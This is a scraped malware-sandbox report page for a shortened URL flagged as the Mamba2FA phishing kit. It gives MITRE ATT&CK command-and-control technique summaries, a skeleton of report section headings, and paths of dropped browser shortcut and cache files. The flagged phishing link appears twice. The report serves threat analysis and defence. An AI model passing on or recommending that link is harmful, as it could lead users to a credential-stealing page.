Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://t.ly/2jKWO

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Mamba2FA

Yara Signatures

HTML

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 1256

Chrome Cache Entry: 1257

Chrome Cache Entry: 1258

Chrome Cache Entry: 1259

Chrome Cache Entry: 1260

Chrome Cache Entry: 1261

Chrome Cache Entry: 1262

Static File Info

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
https://t.ly/2jKWO